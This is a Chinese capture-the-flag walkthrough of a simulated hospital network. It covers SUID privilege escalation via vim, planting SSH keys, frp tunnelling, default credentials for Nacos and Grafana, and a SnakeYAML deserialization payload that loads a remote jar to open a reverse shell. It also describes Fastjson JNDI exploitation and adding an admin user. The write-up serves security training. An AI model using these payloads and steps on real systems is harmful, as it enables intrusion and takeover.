本文最后更新于:7 天前
靶标介绍:
在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。
尝试suid提权
1 2
| /home/app/ >find / -user root -perm -4000 -print 2>/dev/nul /bin/sh: 1: cannot create /dev/nul: Permission denied
GRADLE
|
那就换个没有/dev/null的,vim
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| /home/app/ >find / -user root -perm -4000 -exec ls -ldb {} \;
-rwsr-sr-x 1 root root 2910952 Oct 6 2023 /usr/bin/vim.basic -rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/su -rwsr-xr-x 1 root root 44784 Nov 29 2022 /usr/bin/newgrp -rwsr-xr-- 1 root stapusr 224496 Mar 17 2022 /usr/bin/staprun -rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd -rwsr-xr-x 1 root root 88464 Nov 29 2022 /usr/bin/gpasswd -rwsr-xr-x 1 root root 39144 May 30 2023 /usr/bin/umount -rwsr-xr-x 1 root root 85064 Nov 29 2022 /usr/bin/chfn -rwsr-xr-- 1 root stapusr 207832 Mar 17 2022 /usr/bin/stapbpf -rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo -rwsr-xr-x 1 root root 53040 Nov 29 2022 /usr/bin/chsh -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount -rwsr-xr-x 1 root root 55528 May 30 2023 /usr/bin/mount -rwsr-xr-x 1 root root 473576 Aug 5 2023 /usr/lib/openssh/ssh-keysign -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
TAP
|
vim提权
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
生成密钥对
wq!强行写入公钥

ssh使用私钥连接上,在根目录读到flag1

查看网络状态

frp搭下内网隧道
这里实际上可以不用自己的公网vps做server,这里端口是可以自由开放的,所以直接使用靶机作为server&client即可搭建通往内网的代理

nacos/nacos弱口令进后台

使用hessian注入内存马失效,使用yaml反序列化
https://github.com/artsploit/yaml-payload/
源码下载下来后修改src/artsploit/AwesomeScriptEngineFactory.java中命令执行的部分
这里用hackertools给出的powershell反弹shell


然后编译打包
1 2
| javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
AWK
|
将生成的yaml-payload.jar放在web1机子上,起http服务
然后在编辑配置处发布payload
1 2 3 4 5
| !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://172.30.12.5:7000/yaml-payload.jar"] ]] ]
ERLANG-REPL
|


因为环境不出网,在第一台机子靶机起监听
收到shell,并且是system权限

到Administrator的用户目录下直接读取flag2

或者后面看到网上有另一种普遍的做法,直接添加admin用户组的用户
然后rdp登录

在fscan的扫描结果中,发现了还有个236网段的8080应用,因为都叫医院后台管理平台所以之前直接忽略了,,再仔细看一眼发现和前面的那个不一样

登录的时候看一眼请求,json格式
结合题目的fastjson的tag直接尝试

果真

在靶机上传入jndi-payload的工具,起反弹shell的服务

直接打payload

收到shell,在root下读到第三个flag

留公钥之后查看网络状态,两张网卡
前面使用web1的靶机作为server,因此这里不需要搭建双层代理那么麻烦,当然如果端口无法自由开放,必须得用自己的公网vps那就老老实实麻烦点,做个两层转发吧

http://172.30.54.12:3000/存在Grafana服务

admin/admin登录进后台

存在插件任意文件读取
